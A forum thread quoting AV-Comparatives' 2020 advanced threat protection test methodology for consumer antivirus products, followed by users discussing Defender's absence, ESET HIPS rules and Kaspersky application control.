AV-Comparatives Enhanced Real-World Test 2020 – Consumer

Disclaimer
  1. This test shows how an antivirus behaves with certain threats, in a specific environment and under certain conditions.
    We encourage you to compare these results with others and take informed decisions on what security products to use.
    Before buying an antivirus you should consider factors such as price, ease of use, compatibility, and support. Installing a free trial version allows an antivirus to be tested in everyday use before purchase.

Gandalf_The_Grey

Level 50
Verified
Trusted
Content Creator
Apr 24, 2016
3,898
Advanced Threat Protection - Targeted Attacks

Introduction:
“Advanced persistent threat” is a term commonly used to describe a targeted cyber-attack that employs a complex set of methods and techniques to penetrate information system(s). Different aims of such attacks could be stealing / substituting / damaging confidential information, or establishing sabotage capabilities, the last of which could lead to financial and reputational damage of the targeted organisations. Such attacks are very purposeful, and usually involve highly specialized tools. The tools employed include heavily obfuscated malicious code, the malicious use of benign system tools, and non-file-based malicious code.

In our Advanced Threat Protection Test (Enhanced Real-World Test), we use hacking and penetration techniques that allow attackers to access internal computer systems. These attacks can be broken down into Lockheed Martin’s Cybersecurity Kill Chain, and seven distinct phases – each with unique IOCs (Indicators of Compromise) for the victims. All our tests use a subset of the TTP (Tactics, Techniques, Procedures) listed in the MITRE ATT&CK framework. A false alarm test is also included in the report.

The tests use a range of techniques and resources, mimicking malware used in the real world. Some examples of these are given here. We make use of system programs, in an attempt to bypass signature-based detection. Popular scripting languages (JavaScript, batch files, PowerShell, Visual Basic scripts, etc.) are used. The tests involve both staged and non-staged malware samples, and deploy obfuscation and/or encryption of malicious code before execution (Base64, AES). Different C2 channels are used to connect to the attacker (HTTP, HTTPS, TCP). Use is made of known exploit frameworks (Metasploit Framework, Meterpreter, PowerShell Empire, Puppy, etc.).

To represent the targeted system, we use fully patched 64-bit Windows 10 systems, each with a different AV product installed. In the enterprise test, the target user has a standard user account. In the consumer test, an admin account is targeted. For this reason and others (e.g. possibly different settings), the results of the Consumer Test should not be compared with those of the Enterprise Test.

Once the payload is executed by the victim, a Command and Control Channel (C2) to the attacker’s system is opened. For this to happen, a listener has to be running on the attacker’s side. For example, this could be a Metasploit Listener on a Kali Linux system. Using the C2 channel, the attacker has full access to the compromised system. The functionality and stability of this established access is verified in each test-case.

The test consists of 15 different attacks. It currently focuses on protection, not on detection, and is carried out completely manually. Whilst the testing procedure is necessarily complex, we have used a fairly simple description of it in this report. This is in accordance with reader feedback, and we hope that it will make it comprehensible to a wider audience.

AV Consumer Main-Test-Series vendors were given the opportunity to opt out of this test before the test started, which is why not all vendors are included in this test. Some vendors are continuing to perfect their products before joining this advanced test. We congratulate all those vendors who took part in the test, even those whose products did not get the best scores, as they are striving to make their software better.
 

Gandalf_The_Grey

Level 50
Verified
Trusted
Content Creator
Apr 24, 2016
3,898
No Defender? :(
They chickened out:
AV Consumer Main-Test-Series vendors were given the opportunity to opt out of this test before the test started, which is why not all vendors are included in this test. Some vendors are continuing to perfect their products before joining this advanced test. We congratulate all those vendors who took part in the test, even those whose products did not get the best scores, as they are striving to make their software better.
But we have Andy:
 

Andy Ful

Level 72
Verified
Trusted
Content Creator
Dec 23, 2014
6,126
Probably there is not Defender, because it's an Advanced test. It's like in language courses. You have first to pass basic and intermediate steps, before being admitted to Advanced classes. Microsoft probably didn't study enough... :)
Windows has already the needed protection to block all attacks from this test. But, Microsoft decided to activate such protection for free by using GPO or PowerShell. They can be also activated by 3rd party tools. There is no dedicated Microsoft application to configure such settings in Windows Home.:(

From my tests and some other tests on MH, it follows that Windows Defender (default settings) would get results similar to Avast.

The advanced settings of Windows Defender were tested as follows (see Exploit/Fileless samples test results):
Microsoft Word - MRG_Effitas_2019Q4_360.docx (mrg-effitas.com) (mrg-effitas.com)
Microsoft Word - MRG_Effitas_2020Q1_360.docx (mrg-effitas.com) (mrg-effitas.com)
Microsoft Word - MRG_Effitas_2020Q2_360.docx (mrg-effitas.com) (mrg-effitas.com)
 
Last edited:

MacDefender

Level 14
Verified
Oct 13, 2019
685
It’s also not the best against ransomware, due to lack of innovation in this area. Unless custom HIPS rules are used, but these can cause unexpected behaviour and are time-consuming to compose.
Yeah custom HIPS rules are a really neat feature but in my opinion it's best for enterprise hardening of services that get deployed across an enterprise environment. It's akin to writing your own AppArmor/SELinux sandboxing rules for pretty much every possible attack vector and since the "Smart" setting in ESET preprograms almost nothing (except for maybe a few isolated ransomware vectors they can't write signatures for), IMO this is an unreasonable demand of home users. @SeriousHoax has a good example of how to implement CFA / protected folders using the HIPS which will give you some ideas of how to use it, but I still think even with that example, maintaining all the exceptions to that is a ton of work, and frankly something I expect the AV company to be doing for me.


BTW, in terms of bypassing ESET, my experience this summer has been that it takes me about 1-2 hours to construct a bypass of just about every AV software I've personally tested, as long as you start with the assumption that the user will download and execute your payload. (I'm saying that to express how easy it is to bypass a specific AV, not that I'm qualified to be a malware writer). I struggle to find a way to scientifically assess which AV does better, because most often you'll find that one technique works against 4 AVs but a 5th one catches it, and if you tweak the exploit for the 5th AV to miss it, the other AV's start catching it. It's hard to turn that into a ranking of who I think does the best. While I find home-brew malware simulation to be a really interesting technique that teaches us a lot about how each AV's protection works, I don't know if that's what I'd use to rank AVs overall.
 
Last edited:
F

ForgottenSeer 89360

Yeah custom HIPS rules are a really neat feature but in my opinion it's best for enterprise hardening of services that get deployed across an enterprise environment. It's akin to writing your own AppArmor/SELinux sandboxing rules for pretty much every possible attack vector and since the "Smart" setting in ESET preprograms almost nothing (except for maybe a few isolated ransomware vectors they can't write signatures for), IMO this is an unreasonable demand of home users. @SeriousHoax has a good example of how to implement CFA / protected folders using the HIPS which will give you some ideas of how to use it, but I still think even with that example, maintaining all the exceptions to that is a ton of work, and frankly something I expect the AV company to be doing for me.


BTW, in terms of bypassing ESET, my experience this summer has been that it takes me about 1-2 hours to construct a bypass of just about every AV software I've personally tested, as long as you start with the assumption that the user will download and execute your payload. (I'm saying that to express how easy it is to bypass a specific AV, not that I'm qualified to be a malware writer). I struggle to find a way to scientifically assess which AV does better, because most often you'll find that one technique works against 4 AVs but a 5th one catches it, and if you tweak the exploit for the 5th AV to miss it, the other AV's start catching it. It's hard to turn that into a ranking of who I think does the best. While I find home-brew malware simulation to be a really interesting technique that teaches us a lot about how each AV's protection works, I don't know if that's what I'd use to rank AVs overall.
I agree that these rules should be made by ESET and offered out-of-the-box. I don’t think that in a paid product, user should be wasting time on creating rules.

In thar matter, Kaspersky’s implementation (Application Control) is far better, as it comes tweaked by default and you can just add critical resources with few clicks.
I am currently testing Kaspersky and have added browser repositories (%userprofile/AppData/Google and %userprofile%/AppData/Microsoft/Edge) as well as some other folders critical to me. Any untrusted apps won’t be able to read them, but again, this can be bypassed by using DDA.

I love testing them with home-brew malware as well, but we should always keep in mind thay home AVs are designed with a balanced approach in mind and not to be stellar - testing whether they are such is just a waste of time.
 
Last edited by a moderator:
Top